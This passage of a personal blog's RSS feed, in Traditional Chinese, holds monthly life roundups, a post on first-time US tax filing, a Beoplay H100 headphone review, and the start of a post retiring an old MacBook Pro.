  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/brunch-at-lapisara-eatery.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="一份豐盛的早午餐，包括火腿蛋捲、牛油果、沙拉、吐司和彩色紅蘿蔔片。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/chicago-at-golden-gate-theatre.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Golden Gate Theatre外牆上，標示著百老匯音樂劇《芝加哥》的紅色大字標牌。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">跟 Sophia 去舊金山找 Lenka 吃早午餐和看音樂劇《Chicago》</figcaption>



  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/capitola-wharf.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="陰天中，幾位遊客漫步在Capitola Wharf木製棧橋上，拱門兩側裝飾有彩繪圖案。"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">和 Yuki 醬還有 Yuki 醬的前室友去 Capitola 玩，上次來這個海灘沒有走到碼頭這邊，這裡也挺漂亮的！</figcaption>
  </figure>




<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/cherry-blossom-at-hakone-estate-and-gardens.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="陽光普照下，盛開的櫻花樹在綠意盎然的公園內綻放，形成夢幻的粉色花海。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/cherry-chai.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="一杯粉色和米色漸層的冰櫻桃柴茶，背景為藍天和棕櫚樹。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">繼去年 Portland 的日本花園之後，這次來看看 San Jose 的</figcaption>

<h2 id="-本月花花" class="relative group">🌼 本月花花 </h2><p>這個月也買了不少花花！</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/orange-roses.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一束鮮豔橙色玫瑰花"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">🌹 橘玫瑰，這個偏紅的橘色挺好看的！</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/yellow-gerbera-daisies.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一束鮮豔黃色非洲菊，擺放在花瓶中"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">🌼 黃色非洲菊：象徵陽光和幸福，帶來正能量與歡笑。</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/carnations.jpg"
      class="mx-auto my-0 rounded-md"
      alt="幾朵色彩豐富的康乃馨花束"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">💐 彩色康乃馨</figcaption>
</figure>
</p>
<h2 id="-本月-highlight" class="relative group">✨ 本月 Highlight </h2><ul>
<li><a href="/zh-tw/posts/us-tax-filing-2024/">第一次美國報稅</a>：本來想說應該一個晚上就可以搞定了，殊不知弄完的時候都已經凌晨兩點</li>
<li>第一份薪水買給自己的禮物：<a href="/zh-tw/posts/bang-and-olufsen-beoplay-h100/">Bang &amp; Olufsen Beoplay H100</a></li>
<li>抽中 H-1B：一般美國留學生畢業之後的學生簽證只能在美國工作 3 年，如果想要持續在美國待下去一般就是要抽正式的 H-1B 工作簽證。這幾年的中籤率都不高，我原本也是不期不待，但還是很幸運的抽到了，偷偷報個喜。</li>
</ul>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>準時上床 + 準時起床</li>
<li>統整一下這個月玩 Zsh 各種工具的心得，寫篇文</li>
<li>把現在床上的書看完</li>
</ol>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-march-dump</guid><pubDate>Sun, 06 Apr 2025 16:10:14 -0700</pubDate></item><item><title>美國報稅 2024</title><link>https://blog.tomy.me/zh-tw/posts/us-tax-filing-2024/</link><description>資本主義萬歲 (?)</description><content:encoded><![CDATA[<p>雖然之前在台灣有實習過，但因為還是學生加上也沒真的賺多少錢，所以自然也就沒有報過稅。於是我生平第一次報稅就是報美國稅了 ¯\_(ツ)_/¯</p>
<h2 id="heading" class="relative group">🤦🏻 </h2><p>雖然我現在持有學生簽證，是不需要繳稅的，但不需要繳稅 ≠ 不用報稅，所以這個麻煩過程終究還是免不了。好消息是，去年公司發薪水的時候有預扣掉部分的稅，所以報完稅之後可以領回一筆退稅；壞消息是，美國報稅非常之困難，而且有各種奇怪的規則跟毛病。</p>
<p>簡單來說，報稅大致上是四個步驟：</p>
<ol>
<li>申報賺了多少錢</li>
<li>研究自己是否符合某些條件，來決定課稅的稅率</li>
<li>扣除已經繳交的部分</li>
<li>多退少補</li>
</ol>
<p>步驟 1, 2, 4 都很簡單，就是釐清事實：薪資條上寫多少就填多少，剩下的就是數學。真正最大的問題反而是在釐清身分，決定稅率的基準在於你是否是該州的住民 (Resident)，直覺上來說，一個人一年只會是一個州的住民，但每個州對於是否是住民這件事，也有著不一樣的判定標準。也就是說，在某些神奇的情況下，你有可能不是任何一州的住民，也有可能同時是多個州的住民。以我來說，整個 2024 年在賓州居住 9 個月，除了某幾個月當助教有領薪水，大部分時間沒有收入、在加州居住 3 個月實習，有領薪水，這就是一個很難判定的例子。</p>
<p>最後跟 <a href="https://chatgpt.com/" target="_blank" rel="noreferrer">C 老師<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>聊了很久才終於全部搞定。</p>
<h2 id="-心得" class="relative group">💬 心得 </h2><p>具體怎麼報我就不寫了，一方面是我懶的交代更多細節，另一方面是我覺得我有高機率是錯的，不想在這裡誤人子弟<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，但可以分享一下我對美國報稅 mindset 的理解：</p>
<ul>
<li>沒有人知道怎麼報稅，國稅局自己也不知道</li>
<li>每個人有一個法律規定的基本稅率，但只要你可以搬出某條稅法，然後出示符合減免的證據，就可以減稅 <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
<li>除非你付錢請律師來幫你做這件事，不然沒人會輕易的幫你，因為弄錯了會非常麻煩</li>
</ul>
<p>也因為這件事太複雜了，美國有很多公司開發了很多報稅的軟體跟系統來處理報稅表格的填寫和申請，大部分都要錢。</p>
<p>所以對，在美國最「合理」的報稅方式是：先繳一筆錢來買報稅的工具，然後就可以繳更多稅；或是一毛錢都不花，自己研究，然後弄到天荒地老，來變相證明你的時間和精力很廉價。</p>
<hr>
<p>去你媽的資本主義 (再咬一大口雙層牛肉吉士堡</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>但還是歡迎大家找我討論啦，嘻嘻&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>這也是為什麼即便 Amazon 有很高的營收，但卻有很長一段時間<a href="https://www.reddit.com/r/tax/comments/y76m7d/eli5_can_someone_explain_to_me_how_does_amazon/" target="_blank" rel="noreferrer">都沒有繳稅<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">us-tax-filing-2024</guid><pubDate>Sun, 06 Apr 2025 14:15:48 -0700</pubDate></item><item><title>Bang &amp; Olufsen Beoplay H100</title><link>https://blog.tomy.me/zh-tw/posts/bang-and-olufsen-beoplay-h100/</link><description>Rhythm of my next decade.</description><content:encoded><![CDATA[<p>我一般會有兩副耳機，一副是耳塞式耳機，在外出的時候使用，另一副是頭戴式的耳機，則是在我要專心做事、長時間聽音樂的時候使用。我的上一副頭戴式耳機是 Beats Solo3 Wireless，是當年在 Apple Back to School 促銷的時候買上一台 MacBook Book Pro 送的，但他的壽命就沒有電腦來的長了。也剛好在他退役後的好一段時間裡，我也鮮少有需要長時間戴耳機的需求，所以雖然偶爾還是會逛逛看看，但依舊遲遲沒有下手。</p>
<h2 id="-想像" class="relative group">🌈 想像 </h2><p>當時我心目中「完美」的耳機，作為每天生產力的重要推手，必須具備以下特點：</p>
<ul>
<li>耳墊要包覆整個耳朵：我目前用過的耳機大部分頂多是有一個不差的軟墊壓在軟骨上，久了還是會不舒服</li>
<li>支援無損音質 (Lossless)，有線無線都行：雖然我還不至於聽到普通音質就感到不舒服，但我覺得我值得</li>
<li>支援 <abbr title="Active Noise Cancelling 主動降噪">ANC</abbr>：理由同上</li>
<li>長得順眼</li>
</ul>
<p>當時我做的第一件事是：上美國 Amazon 搜尋 &ldquo;Over-ear Headphone&rdquo; 然後篩選價格在 $300 以上的選項，很意外的發現，除了 AirPods Max，基本上沒有其他耳機有黑色以外的顏色。說實在，黑色也不是問題，但大部分造型都不俐落、操作不直覺，甚至還有本體是塑膠殼的，感覺就像去吃精緻的法式料理，然後端上來居然是用軍營裡的鐵盤盛裝，而且邊角還有點髒髒的。</p>
<h2 id="-選項" class="relative group">💬 選項 </h2><p>快跳到去年的時候，各大耳機廠商總算是嗅到了些商機，願意開始在高端耳機市場做一些更大膽的嘗試，我也重新開始物色新選項：</p>
<table>
  <thead>
      <tr>
          <th>Brand</th>
          <th>Model</th>
          <th>Price (USD)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Bang &amp; Olufsen</td>
          <td>Beoplay H100</td>
          <td>$1549</td>
      </tr>
      <tr>
          <td>Bang &amp; Olufsen</td>
          <td>Beoplay H95</td>
          <td>$999</td>
      </tr>
      <tr>
          <td>Bang &amp; Olufsen</td>
          <td>Beoplay HX</td>
          <td>$599</td>
      </tr>
      <tr>
          <td>Apple</td>
          <td>AirPods Max</td>
          <td>$549</td>
      </tr>
      <tr>
          <td>Dyson</td>
          <td>OnTrac</td>
          <td>$499</td>
      </tr>
      <tr>
          <td>Sonos</td>
          <td>Ace</td>
          <td>$449</td>
      </tr>
      <tr>
          <td>Sony</td>
          <td>WH-1000XM5</td>
          <td>$399</td>
      </tr>
      <tr>
          <td>Sennheiser</td>
          <td>MOMENTUM 4 Wireless</td>
          <td>$379</td>
      </tr>
      <tr>
          <td>Beats</td>
          <td>Studio Pro</td>
          <td>$349</td>
      </tr>
  </tbody>
</table>
<p>我原本的首選一直都是 AirPods Max，因為蘋果全家桶，自然踩雷機率一定是最低的。原本的計畫是等第二代出了之後就可以無腦下單，但後來改版就是從 Lightning 改成 Type-C 然後加幾個顏色，市場也確實挺買單的，但我可不想。</p>
<p>去年在紐約 SoHo 逛街的時候就無意路過了 Bang &amp; Olufsen 的旗艦店，原本只是想聽聽 H95 和 HX，但人都來了，就想說順便體驗一下 H100。簡單的結論是 H95 和 H100 之間是存在感覺的到的差距的。至於值不值得 $500 的差距，就是另外一回事了。</p>
<p>但這正是 Bang &amp; Olufsen 想要達成的目的：耳機來到這個價位，本來就是一種奢侈消費，不應該以電子產品來審視他，而是以精品的角度來品味。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>年初在台灣的時候想說，剛好我有 30000 多的 Line Points + 18000 的 Shopback 回饋金<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>，所以理論上我只需要自己再貼一些零頭，就可以買得到。但我萬萬沒想到的是，在我好不容易下定決心下單的時候，銷售人員才跟我說這隻耳機全球熱銷，台灣的話，下訂單要等 5 個月才能取貨</p>
<p>？？？？？？？？？？誰再說台灣又老又窮，我真的見一個打一個：）））</p>
<p>於是，我的頭戴式耳機在從缺將近 5 年之後，最終決定發狠一把，以<del>老子</del>我的第一份薪水<del>全款拿下</del>這支 H100。</p>
<h2 id="-開箱" class="relative group">🥡 開箱 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/bang-and-olufsen-beoplay-h100/beoplay-h100-box.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Beoplay H100 包裝盒設計簡約，高貴大方，正面印有 B&amp;O 標誌及型號名稱。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/bang-and-olufsen-beoplay-h100/beoplay-h100-box-opener.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Beoplay H100 盒蓋特寫，有著跟 Apple 包裝相似的封條"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">這包裝我只能說處處不提某水果，處處是某水果</figcaption>



<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/bang-and-olufsen-beoplay-h100/beoplay-h100-card-front.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Beoplay H100 包裝內卡片的正面，中央印有標誌性的 B&amp;O 標誌。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/bang-and-olufsen-beoplay-h100/beoplay-h100-card-back.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Beoplay H100 包裝內卡片的背面，印有『Ready to play? Hold your phone here and get ready to experience music in a whole new way』，以及感應標誌。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">精緻的小卡片，用感應的就可以下載 App 開始初始化設定，流程就跟開箱 Apple Card 一樣絲滑</figcaption>

<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/bang-and-olufsen-beoplay-h100/beoplay-h100-reveal-case.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Beoplay H100 包裝內部，展示一個高級皮革收納包，皮面柔軟細膩，拉繩以皮革綁繩設計，質感十足。"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">掀開絲絨布就是用皮革收納袋裝著的耳機，彷彿在開箱 Hermès 皮夾一樣</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/bang-and-olufsen-beoplay-h100/beoplay-h100-box-inner.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Beoplay H100 包裝內部視圖，展示兩個圓形隔層，內含音訊線材，搭配高級布質紋理，並附有一張印有『Designed by Bang &amp; Olufsen in Denmark』字樣的小盒子。"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">再說一次，處處不提某水果，處處是某水果</figcaption>
</figure>
</p>
<h2 id="-結語" class="relative group">🔚 結語 </h2><p>9.9/10</p>
<p>這支耳機在很多方面都達到，甚至遠超越我原本對他的期待，我想了很久有什麼可以挑剔的地方，但還真沒什麼好挑剔的。即便 Apple 剛好在這個月底<sup id="fnref1:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>透過推送韌體更新的方式讓 AirPods Max 也支援了無損音質，我本應該感到些許惋惜，但實際上卻是一絲一毫都沒有。</p>
<p>具體功能我就不一一介紹了，有興趣的可以自己去看看網路上的開箱，但如果你有興趣，接下來會遇到我的話，歡迎來找我試聽。</p>
<p>唯一一個我覺得值得一提的是，這是一支模組化的耳機，所以在未來也可以不斷替換耗材和重要部件，來延續壽命甚至升級。</p>
<p>H100 的 100 象徵 Bang &amp; Olufsen 滿 100 週年的登峰造極之作，也是我用第一份薪水買給自己的第一份紀念禮物，我會期待接下來跟著他一起面對無數挑戰的日子。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>有興趣的人可以看看 Bang &amp; Olufsen CEO Kristian Teär 在 <a href="https://archive.ph/PvZsD" target="_blank" rel="noreferrer">Financial Times<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的專訪&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>這故事等有一天我真的把這些點數變現的時候再說&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">bang-and-olufsen-beoplay-h100</guid><pubDate>Tue, 01 Apr 2025 21:40:20 -0700</pubDate></item><item><title>2025 年 2 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-february-dump/</link><description>USA 第二季，連載開始！</description><content:encoded><![CDATA[<p>回美國的時候 2 月也差不多過完一半了，加上一回來忙著處理新家的各種事情沒啥時間出去玩，或是做些有趣的事，搞的現在這篇文好像沒什麼東西可以寫 (Hmmm&hellip;)</p>
<p>那就簡單把手機照片翻一翻寫一篇看圖說故事好了 XDDDDD</p>
<h2 id="-封箱我的舊-macbook-pro" class="relative group">💻 封箱我的舊 MacBook Pro </h2><p>回台灣做的最後一件事就是正式封存我的舊 MacBook Pro，這一台 MacBook Pro 對我來說有很多很重要的意義，所以在封存的同時，我也寫了一篇<a href="/zh-tw/posts/boxing-my-3rd-macbook-pro/">文章</a>來紀念他，有興趣可以去看看。</p>
<h2 id="-正式野放社會" class="relative group">💼 正式野放社會 </h2><p>今年回來 Return 回去年實習的 WeRide 做全職了，一樣是在 Infrastructure 組，做一些公司內部的系統，今年加入的是一個全新的專案，具體做什麼可能不太適合在這裡寫 (其實是懶得寫 (?))，但有興趣的可以私下我聊聊。做起來的話，感覺是挑戰更多了一點，但反正都是之前稍微碰過的東西，所以上手也沒有太大的困難。</p>
<p>慶幸的是公司的附的午餐和晚餐略比去年進步一點，還是值得特別嘉許一下 😂</p>
<h2 id="-煮飯" class="relative group">🧑🏻‍🍳 煮飯 </h2><p>雖然平日上班公司已經供三餐了，假日還是得自己打理三餐，所以多多少少還是要下個廚。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-february-dump/oyakodon.jpg"
      class="mx-auto my-0 rounded-md"
      alt="親子丼 &#43; 一盤醃漬花枝"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">雖然加州剛好鬧了一陣子的蛋荒，但還是順利買到蛋做親子丼<br/>(偷偷炫耀我的 Pittsburgh 冷水杯好可愛 🦖</figcaption>
</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-february-dump/bolognese.jpg"
      class="mx-auto my-0 rounded-md"
      alt="肉醬義大利麵"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">經典的肉醬義大利麵，但煮完之後整個房間都是肉味，之後再想一下有沒有絞肉之外的選項</figcaption>
</figure>
</p>
<p>之後應該會在我的 <a href="https://docs.tomy.me/recipe" target="_blank" rel="noreferrer">Docs<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 更新一下自己的食譜，歡迎大家留言推薦有什麼可以煮的菜色！</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-music-pipeline" class="relative group">✅ Music Pipeline </h3><p><a href="https://docs.tomy.me/pipeline-music-album" target="_blank" rel="noreferrer">大致完成<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>了，目前是有一條主線，可以讓一首歌從被發現，到最後被加入我的音樂資料庫裡，流程大概是這樣：</p>
<ul>
<li>發現一首歌</li>
<li>找到這首歌的專輯</li>
<li>從專輯中抽幾首歌加入播放清單 A</li>
<li>如果這張專輯大致上都不錯，就把整張專輯加入播放清單 B</li>
<li>每個月從播放清單 B 中挑幾張喜歡的專輯買</li>
<li>用之前介紹過的 <a href="/zh-tw/posts/2024-january-dump/#-autorip-">AutoRip</a> 把專輯轉錄檔案，加入我的音樂資料庫</li>
</ul>
<p>可能還有很多細節需要等到真的完全用起來才會發現，但有總比沒有好，希望這套流程可以有效解決近幾年鬧歌荒的問題。</p>
<h3 id="-photo-pipeline" class="relative group">🟡 Photo Pipeline </h3><p>概念上的部分差不多想清楚了，但我想留到之後在另外寫一篇文討論我的想法。</p>
<p>技術上的部分，沒啥太大進展。我原本一直的做法都是拍完照之後會盡可能的保留原檔，但在跟幾個有拍照的朋友聊聊之後，我有點被說服其實做這件事其實沒有太大的意義，而且考量到原本其實很整齊的照片資料庫之所以後來會變的一團亂，就是因為硬碟空間不足，所以才會東放一點西放一點，最後要找照片變的極其困難，放棄存原檔也許會是比較合理的存儲方式。</p>
<p>之前以為開始領薪水可以買很多新玩具，但相機又再次被卡住了，所以雖然這個專案好像有了一些階段性的成果，但可能也差不多又要在這裡暫停了 QQQQQ</p>
<h3 id="-給自己買束花" class="relative group">✅ 給自己買束花 </h3><p>忘記在哪裡看到的一種說法是，新鮮的花朵具有調節生活空間氣息的能力，在這樣的環境，不管是放鬆還是做正事，都會讓人更有活力。所以今年想開始嘗試每週買菜的時候，也順便買束花回家，讓家裡多一點朝氣！</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-february-dump/yellow_tulips.jpg"
      class="mx-auto my-0 rounded-md"
      alt="一束黃色鬱金香放在茉莉綠色的花瓶中"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">第一束花是黃色鬱金香，代表著快樂、幸福和未來的希望 🌟</figcaption>
</figure>
</p>
<p>如果有人有養花的經驗，歡迎分享一下你的心得！</p>
<hr>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-february-dump/cherry_blossom_matcha_latte.jpg"
      class="mx-auto my-0 rounded-md"
      alt="綠色的抹茶那提奶泡灑上些微粉紅色的顆粒"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">最後放一張漂亮的 🌸 櫻花抹茶那提 🍵 來結束這個月的報報</figcaption>
</figure>
</p>
<p>下個月見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-february-dump</guid><pubDate>Sun, 16 Mar 2025 14:26:07 -0700</pubDate></item><item><title>封箱 MacBook Pro 2018</title><link>https://blog.tomy.me/zh-tw/posts/boxing-my-3rd-macbook-pro/</link><description>上個時代的傳奇極致</description><content:encoded><![CDATA[<p>如<a href="/zh-tw/posts/2024-july-dump/#-新電腦3">之前報報</a>寫的，我在去年暑假的時候換了一台新的 MacBook Pro。通常按照常理，理論上我只需要從 Time Machine 的備份恢復到新的機器上就好，但因為這次是從 Intel CPU 轉移到 Apple Silicon 的架構，我預期處理各種不適應問題可能會比直接重灌還花更多的時間，於是我採取了後者。與此同時，我也趁著這個機會跟很多久沒用的資料、App 斷捨離，加上在 CMU 的最後一個學期課業沒有絲毫的減緩，這些種種加起來都導致整個遷移的過程變得相當冗長，這篇文就這麼拖到了現在。</p>
<p>那總之就來細數這台 MacBook Pro 的往事吧！</p>
<h2 id="-外觀" class="relative group">👀 外觀 </h2><p>在筆電上貼貼紙通常有兩派，一派是一直往上貼，新的蓋住舊的，最後版面會變的比較雜亂，另一派則是會不定時把舊貼紙撕下來換新的。但 MacBook 因為是鋁合金的機身，貼紙黏貼超過一定時間，底下接觸不到空氣的金屬氧化速度會和沒有貼起來的地方不一樣，所以即便貼紙本身沒有殘膠，也會留下一塊色差。因此，我的策略就是，一台只會貼一次，然後上面的貼紙就再也不會撕下來。</p>
<p>當時貼的貼紙也多半反映了當下的 Tech Stack 和喜好：</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/boxing-my-3rd-macbook-pro/macbook-pro-2018-stickers.jpg"
      class="mx-auto my-0 rounded-md"
      alt="MacBook Pro 上滿滿的貼紙"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<ul>
<li><code>¯\_(ツ)_/¯</code>：我最常用的顏文字，目前沒有適合的 Emoji 能取代這個機掰又無奈的臉，相信常看 Blog 的人應該很熟悉，嘻嘻</li>
